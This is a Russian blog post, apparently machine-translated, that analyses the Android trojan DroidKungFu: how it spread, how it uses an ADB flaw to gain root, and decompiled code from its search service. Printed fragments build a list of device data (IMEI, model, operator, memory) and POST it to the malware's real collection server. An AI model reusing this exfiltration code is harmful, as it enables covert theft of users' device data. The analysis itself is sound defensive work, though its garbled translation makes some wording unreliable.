Droidkungfu-Разбор Полетов Вредоносного По На Android



Обновление новостей: Весной этого года с AndroidMarket было удалено 21 приложение, скрывающее вредоносное ПО.

ДроидМечтаСвет .

После установки экспонированные приложения отправляли довольно приличный объем пользовательской информации, хранящейся на телефонах Google. И вот, в июне этого года сотрудники Университета штата Северная Каролина сообщили, что обнаружена новая версия вредоносного ПО.

ДроидКунг-Фу .



DroidKungFu-разбор полетов вредоносного ПО на Android

Эта программа аналогична ДроидМечтаСвет , но использует другие методы сокрытия своего присутствия, позволяющие обходить системы безопасности.

Программа использует уязвимость в Мост отладки Android , сокращенно А.

Д.

Б.

.

Эта уязвимость позволяет получить root-доступ к устройству, которое само по себе уже не игрушка.

Однако стоит отметить, что вредоносные приложения не распространялись на официальном Android Market и были нацелены только на рынок Китая, хотя от этого легче не становится.

Также немаловажно, что устройства на базе Android 2.2 и ниже подвержены заражению, поскольку в версии 2.3 исправлена уязвимость, позволяющая ДроидКунг-Фу показать себя «во всей красе».

При установке зараженных приложений DroidKungFu активируется и производит автозагрузку своего процесса, кроме того, на Android 2.2 и ниже получает root-права.

На Android 2.3 у него это сделать не получается, но некоторую информацию об устройстве собрать все равно можно.



Разбор полетов:
Один хороший человек в своем блог проанализировал интересный код ДроидКунг-Фу и теперь я попробую разобраться, что к чему с тобой.

Для анализа была взята проба из этого хранилища вредоносных программ с хешем md5 39D140511C18EBF7384A36113D48463D .

Чтобы получить архив jar, использовалась хорошая вещь, например dex2jar , после извлечения дексов (формат исполняемого файла Dalvik) из .

APK. После декомпиляции jar-архива мы легко можем получить чистый код. Давайте посмотрим на некоторые интересные моменты в коде.



Часть I или «Я где-то это уже видел…»
При просмотре кода класса Служба поиска мы открываем метод DoSearchReport .

Да-да, именно тот метод, который используется в виджете поиска от всеми любимого Google. И это можно увидеть в коде ниже:

Private void doSearchReport() { updateInfo(); ArrayList localArrayList = new ArrayList(); String str1 = this.nImei; BasicNameValuePair localBasicNameValuePairl = new BasicNameValuePair("imei", str1); Boolean bool1 = localArrayList.add(LocalBasicNameValuePair1); If (this.n0sType != null) { String str2 = this.n0sType; If (!””.

equals(str2)) … } … }

Что это дает? Судя по всему, это позволяет нашей программе оставаться «юридически чистой» или, грубо говоря, «жить в нашем Google Phone» даже после удаления установленных вредоносных пакетов, маскирующихся под виджет поиска.



Часть II или «пора в плавание!»
В следующем фрагменте кода метода DoSearchReport Происходит самое страшное: все собранные данные с зараженного устройства уплывают из нашего Google Phone, сами можете видеть, куда:

While (true) { HttpPost localHttpPost = new HttpPost(“ http://search.gongfu-android.com:8511/search/sayhi.php ”); try UrlEncodedFormEntity localUrlEncodedFormEntity = new UrlEncodedFormEntity(localArrayList, “UTF-8”); localHttpPost.setEntity(localUrlEncodedFormEntity); int I = new DefaultHttpClient().

execute(localHttpPost).

getStatusLine.getStatusCode(); return; BasicNameValuePair localBasicNameValuePair12 = new BasicNameValuePair(“root”, “0”); Boolean bool12 = localArrayList.add(localBasicNameValuePair12); } Catch (Exception localException) { }

В блоге также более подробно описан URL-адрес, на который были отправлены данные о телефонах Google.

Часть III или «Что уплылоЭ»
А из следующих выдержек кода вы можете увидеть, что уплывает:

BasicNameValuePair localBasicNameValuePairl = new BasicNameValuePair(" imei ", str1); … BasicNameValuePair localBasicNameValuePair2 = new BasicNameValuePair(" ostype ", str3); … BasicNameValuePair localBasicNameValuePair3 = new BasicNameValuePair(" osaapi ", str5); … BasicNameValuePair localBasicNameValuePair4 = new BasicNameValuePair(" mobile ", str7); … BasicNameValuePair localBasicNameValuePair5 = new BasicNameValuePair(" mobilemodel ", str9); … BasicNameValuePair localBasicNameValuePair6 = new BasicNameValuePair(" netoperator ", str11); … BasicNameValuePair localBasicNameValuePair7 = new BasicNameValuePair(" nettype ", str13); … BasicNameValuePair localBasicNameValuePair8 = new BasicNameValuePair(" managerid ", str15); … BasicNameValuePair localBasicNameValuePair9 = new BasicNameValuePair(" sdmemory ", str17); … BasicNameValuePair localBasicNameValuePair10 = new BasicNameValuePair(" aliamemory ", str19);

Как видите, уплывает довольно большой объем информации об устройстве.



Часть IV или «недосказанное»
Возможно, еще одной новинкой этого троянца является использование для своих эксплойтов шифрования AES. Предыдущие братья ДроидКунг-Фу , такой как ХонгТуТу или Гейними использовали шифрование DES в своем коде.

п.

с.

На данный момент в Интернете можно найти несколько версий DroidKungFu. По крайней мере я нашел три варианта реализации.

Теги: #Android #троян #DroidKungFu #вредоносное ПО #информационная безопасность

Вместе с данным постом часто просматривают: